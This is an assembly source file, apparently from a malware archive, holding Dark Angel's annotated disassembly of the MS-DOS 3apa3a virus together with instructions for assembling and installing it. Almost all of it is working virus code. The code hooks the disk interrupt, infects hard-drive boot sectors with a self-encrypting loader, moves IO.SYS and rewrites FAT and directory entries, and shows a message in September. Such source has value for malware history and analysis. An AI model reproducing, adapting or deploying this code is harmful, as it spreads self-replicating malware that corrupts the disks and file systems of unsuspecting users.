MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.3apa3a.asm
2021-01-12 17:29:01 -06:00

521 lines
22 KiB
NASM

; To assemble, simple run TASM and TLINK on this file and generate a binary.
; The first 512d bytes of the binary will contain the portion of the virus
; which resides in IO.SYS. The second 512d bytes will contain the boot
; section portion of the virus.
; Installation is slightly more difficult. It requires you to simulate
; an infection with 3apa3a. Read the text above for information. Basically,
; you have to fill in the BPB in the boot sector, fill in the patch values,
; and then move the pieces onto the disk properly.
.model tiny
.code
.radix 16
org 0
; 3apa3a virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
zero:
_3apa3a: push cs
call doffset
doffset: pop si
db 83,0EE,4 ; sub si,4
push si ax bx cx dx ds es
mov ah,4 ; get date
int 1Ah
cmp dh,8 ; september?
jne no_activate
lea bx,cs:[si+message-_3apa3a]
mov ax,0E42 ; begin with B
mov cx,endmessage - message
display_loop: int 10 ; print character
add al,cs:[bx] ; calculate next character
inc bx
loop display_loop
no_activate: cld
xor ax,ax ; ds = 0
mov ds,ax
push cs ; es = cs
pop es
lea di,[si+offset old_i13]
push si
mov si,13*4 ; grab old int 13 handler
movsw
movsw
mov ax,ds:413 ; get BIOS memory size
dec ax ; decrease by 2K
dec ax
mov ds:413,ax ; replace the value
mov cl,6 ; convert to paragraphs
shl ax,cl
mov [si-2],ax ; replace interrupt handler
mov word ptr [si-4],offset i13
mov es,ax ; move ourselves up
push cs
pop ds si
xor di,di
mov cx,200
push si
rep movsw ; copy now!
inc ch ; cx = 1
sub si,200 ; copy rest
rep movsw
pop si
push cs es
mov ax,offset highentry
push ax
retf
highentry: mov ax,7C0
mov ds,ax
mov word ptr ds:200,201
mov byte ptr ds:202,80
les ax,dword ptr cs:203
mov dx,es
pop es
mov bx,si
mov cx,1
mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call
call work_on_sectors ; do_i13
pop es ds dx cx bx ax
retf
message: db ' ' - 'B'
db 'B' - ' '
db 'O' - 'B'
db 'O' - 'O'
db 'T' - 'O'
db ' ' - 'T'
db 'C' - ' '
db 'E' - 'C'
db 'K' - 'E'
db 'T' - 'K'
db 'O' - 'T'
db 'P' - 'O'
db 'E' - 'P'
db ' ' - 'E'
db '-' - ' '
db ' ' - '-'
db '3' - ' '
db 'A' - '3'
db 'P' - 'A'
db 'A' - 'P'
db '3' - 'A'
db 'A' - '3'
db '!' - 'A'
db 7 - '!'
db 0Dh - 7
db 10 - 0Dh
endmessage:
do_i13: mov ax,ds:200
mov dl,ds:202
mov byte ptr cs:patch,0EBh ; jmp absolute
int 13 ; do interrupt
mov byte ptr cs:patch,75 ; jnz
jc retry_error
cld
retn
retry_error: cmp dl,80 ; first hard drive?
je do_i13 ; if so, retry
go_exit_i13: jmp exit_i13 ; otherwise quit
i13: push ax bx cx dx si di ds es bp
mov bp,sp
test dl,80 ; hard drive?
patch: jnz go_exit_i13
add dh,cl ; check if working on
add dh,ch ; boot sector or
cmp dh,1 ; partition table
ja go_exit_i13 ; if not, quit
mov ax,cs ; get our current segment
add ax,20 ; move up 200 bytes
mov ds,ax
mov es,ax
mov word ptr ds:200,201 ; set function to read
mov ds:202,dl ; set drive to hard drive
mov bx,400 ; set buffer
xor dx,dx ; read in the boot sector
push dx
mov cx,1
call do_i13 ; read in boot sector
cmp byte ptr ds:400+21,2E ; check if 3apa3a already there
je go_exit_i13
cmp byte ptr ds:400+18,0
je go_exit_i13
push cs
pop es
mov di,203
mov si,403
mov cx,1Bh ; copy disk tables
cld
rep movsb
sub si,200 ; copy the rest
mov cx,1E2
rep movsb
inc byte ptr ds:201 ; set to write
mov ax,ds:16 ; get sectors per FAT
mul byte ptr ds:10 ; multiply by # FATs
mov bx,ds:11 ; get number of sectors
mov cl,4 ; occupied by the root
shr bx,cl ; directory
db 83,0FBh,5 ; cmp bx,5 ; at least five?
jbe go_exit_i13 ; if not, quit
add ax,bx ;
add ax,ds:0E ; add # reserved sectors
dec ax ; drop two sectors to find
dec ax ; start of last sector
xor dx,dx ; of root directory
push ax dx
call abs_sec_to_BIOS
mov ds:patch1-200,cx ; move original boot
mov ds:patch2-200,dh ; sector to the end of the
xor bx,bx ; root directory
call do_i13
pop dx ax
dec ax
call abs_sec_to_BIOS
mov ds:34,cx ;patch3 ; write io portion to
mov ds:37,dh ;patch4
add bh,6 ; bx = 600
call do_i13
push ds
xor ax,ax
mov ds,ax
mov dx,ds:46C ; get timer ticks
pop ds
mov bl,dl ; eight possible instructions
db 83,0E3,3 ; and bx,3
push bx
shl bx,1 ; convert to word index
mov si,bx
mov cx,es:[bx+encrypt_table]
pop bx
push bx
mov bh,bl
shr bl,1 ; bl decides which ptr to use
lea ax,cs:[bx+2BBE] ; patch pointer
mov ds:[decrypt-bs_3apa3a],ax ; and start location
add ch,bl
mov ds:[encrypt_instr-bs_3apa3a],cx
add ax,0CF40
mov ds:[patch_endptr-bs_3apa3a],ax
pop ax
push ax
mul dh
add al,90 ; encode xchg ax,??
add bl,46 ; encode inc pointer
mov ah,bl
mov ds:[patch_incptr-bs_3apa3a],ax
mov dx,word ptr cs:[si+decrypt_table]
mov word ptr cs:decrypt_instr,dx
pop di
db 83,0C7 ;add di,XX ; start past decryptor
dw bs_3apa3a_decrypt - bs_3apa3a
org $ - 1
mov si,di
push ds
pop es
mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
mov ah,al
encrypt_loop: lodsb
decrypt_instr: add al,ah
stosb
loop encrypt_loop
pop dx
mov cx,1 ; write the replacement
xor bx,bx ; boot sector to the disk
call do_i13
exit_i13: mov sp,bp
pop bp es ds di si dx cx bx ax
db 0EAh
old_i13 dw 0, 0
decrypt_table: not al
sub al,ah
add al,ah
xor al,ah
encrypt_table dw 014F6 ; not
dw 0480 ; add
dw 2C80 ; sub
dw 3480 ; xor
; This marks the end of the IO.SYS only portion of 3apa3a
; The boot sector portion of 3apa3a follows.
adj_ofs = 7C00 + zero - bs_3apa3a
bs_3apa3a: jmp short decrypt
nop
; The following is an invalid boot sector. Replace it with
; yours.
db ' '
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00
decrypt: db 0BF ; mov di,
dw adj_ofs + bs_3apa3a_decrypt
decrypt_loop: db 2e ; cs:
encrypt_instr label word
db 80,2Dh ; sub byte ptr [di],XX
patch_incptr label word
db 0 ; temporary value for cryptval
inc di
db 81 ; cmp
patch_endptr label word
db 0ff ; pointer
dw adj_ofs + end_crypt
jne decrypt_loop
bs_3apa3a_decrypt = $ - 1
jmp short enter_bs_3apa3a
nop
load_original: xor dx,dx ; set up the read
mov es,dx ; of the original boot sector
db 0B9 ; mov cx, XXXX
patch3 dw 3
db 0B6
patch4 db 1
mov bx,ds ; es:bx = 0:7C00
mov ax,201
db 0ebh ; jump to code in stack
dw bs_3apa3a - 4 - ($ + 1)
org $ - 1
enter_bs_3apa3a:cli
xor ax,ax
mov ss,ax ; set stack to just below us
mov sp,7C00
sti
mov dl,80 ; reset hard drive
int 13
mov ax,2F72 ; encode JNZ load_original at
; 7BFE
mov ds,sp ; set segment registers to
mov es,sp ; 7C00
push ax
mov word ptr ds:200,201 ; do a read
mov ds:202,dl ; from the hard drive
xor bx,bx ; read to 7C00:0
mov dh,1 ; read head 1
mov cx,1 ; read sector 1
; (assumes active boot
; sector is here)
mov ax,13CDh ; encode int 13 at 7BFC
push ax
call exec_int13 ; do the read
mov bx,203
cmp byte ptr [bx-4],0AA ; is it valid bs?
jnz_load_original:
jne load_original ; if not, assume infected and
; transfer control to it
mov ax,ds:13 ; get number of sectors in
dec ax ; image - 1
cmp ax,5103 ; hard drive too small? (5103h
jbe load_original ; sectors ~ 10.6 megs)
mov ax,ds:1C ; get number hidden sectors
add ax,ds:0E ; add number reserved sectors
mov ds:9,ax ; store at location that holds
; the end of OEM signature
add ax,ds:16 ; add sectors per FAT
dec ax ; go down two sectors
dec ax
push ax
xor dx,dx
mov cx,dx
call work_on_sectors ; load end of FAT to 7C00:203
mov ax,ds:16 ; get sectors per FAT
push ax ; save the value
mul byte ptr ds:10 ; multiply by # FATs
add ax,ds:9 ; calculate start of root dir
mov ds:7,ax ; store it in work buffer
mov cl,4
mov si,ds:11 ; get number sectors the
shr si,cl ; root directory takes
add si,ax ; and calculate start of data
mov ds:5,si ; area and store it in buffer
call work_on_sectors ; get first 5 sectors of the
; root directory
test byte ptr ds:403+0Bh,8 ; volume label bit set on first
; entry? (infection marker)
jne_load_original: ; if so, already infected, so
jnz jnz_load_original ; quit
xor si,si
mov bx,1003
mov ax,ds:403+1A ; get starting cluster number
; of IO.SYS
read_IO_SYS: push ax ; convert cluster to absolute
call clus_to_abs_sec ; sector number
call work_on_sector ; read in one cluster of IO.SYS
inc si
pop ax
push bx ax
mov bx,403+0A00 ; read into this buffer
push bx
mov al,ah ; find the sector with the FAT
xor dx,dx ; entry corresponding to this
mov ah,dl ; cluster
add ax,ds:9
call work_on_sectors ; read in the FAT
pop bx ax
mov ah,dl
shl ax,1
mov di,ax
mov ax,[bx+di] ; grab the FAT entry (either EOF
; or next cluster number)
pop bx ; corresponding to this cluster
cmp ax,0FFF0 ; is there any more to read?
jb read_IO_SYS ; if so, keep going
inc byte ptr ds:201 ; change function to a write
pop cx
dec cx
dec cx
mov ds:4,cl
mov di,401 ; scan the end of the FAT
mov cx,100
mov bp,-1
copy_IO_SYS: xor ax,ax ; look for unused clusters
repne scasw
jnz jne_load_original
mov [di+2],bp
mov bx,cx
mov bh,ds:4
mov bp,bx ; save starting cluster of
push bp cx ; where IO.SYS will be moved
mov ah,ds:0Dh
shl ax,1
dec si
mul si
mov bx,ax
add bx,1003
mov ax,bp
call clus_to_abs_sec
call work_on_sector ; move IO.SYS to end of HD
pop cx bp
or si,si
jnz copy_IO_SYS
mov si,0DE1 ; move all but the first two
mov di,0E01 ; directory entries down one
mov cx,4D0 ; (10 dir entries / sector,
rep movsw ; 5 sectors)
; DF set by exec_int13
mov si,421 ; move IO.SYS entry down two
mov cx,10 ; entries
rep movsw
mov ds:400+2*20+1Dh,bp ; set starting cluster of the
; moved original IO.SYS
or byte ptr ds:40E,8 ; set volume label bit on first
; IO.SYS entry
mov bx,403 ; point to root directory
mov ax,ds:7 ; get starting cluster of
xor dx,dx ; root dir
mov cl,4
call work_on_sectors ; write updated root directory
pop ax ; to the disk
write_FATs: mov bx,203 ; point to the updated FAT
call work_on_sectors ; write changed end of FAT
dec ax
add ax,ds:16 ; add sectors per FAT
dec byte ptr ds:10 ; processed all the FATs?
jnz write_FATs
mov ax,bp
call clus_to_abs_sec
mov cs:7C03,ax ; store the values
mov cs:7C05,dx
mov byte ptr cs:7C01,1Ch
xor ax,ax ; reset default drive
mov dx,ax
int 13
mov ax,201 ; read in original boot sector
; You must patch the following values if you are installing 3apa3a on a disk
db 0b9 ; mov cx, XXXX
patch1 dw 0
db 0b6 ; mov dh, XX
patch2 db 0
mov bx,0E03
call perform_int13
mov ax,ds:403+1A ; get starting cluster number
call clus_to_abs_sec ; of IO.SYS
xor cx,cx
call work_on_sectors
mov bx,ds
mov es,cx
call work_on_sectors
go_load_original:
jmp load_original
exec_int13: mov ax,ds:200 ; get function from memory
mov dl,ds:202 ; get drive from memory
perform_int13: int 13
jc go_load_original
std
retn
work_on_sectors:inc cx
work_on_sector: push cx dx ax
call abs_sec_to_BIOS
call exec_int13
pop ax dx cx
add ax,1 ; calculate next sector
db 83,0D2,0 ; adc dx,0 ; (don't use INC because
add bh,2 ; INC doesn't set carry)
loop work_on_sector ; do it for the next sector
retn
abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track
mov cx,dx
inc cl
xor dx,dx
div word ptr ds:1A ; divide by number of heads
ror ah,1
ror ah,1
xchg ah,al
add cx,ax
mov dh,dl
retn
clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster
xor ch,ch ; (convert to word)
dec ax
dec ax
mul cx ; convert cluster number to
add ax,ds:5 ; absolute sector number
end_crypt: db 83,0D2,0 ; adc dx,0
retn
dw 0AA55 ; boot signature
end _3apa3a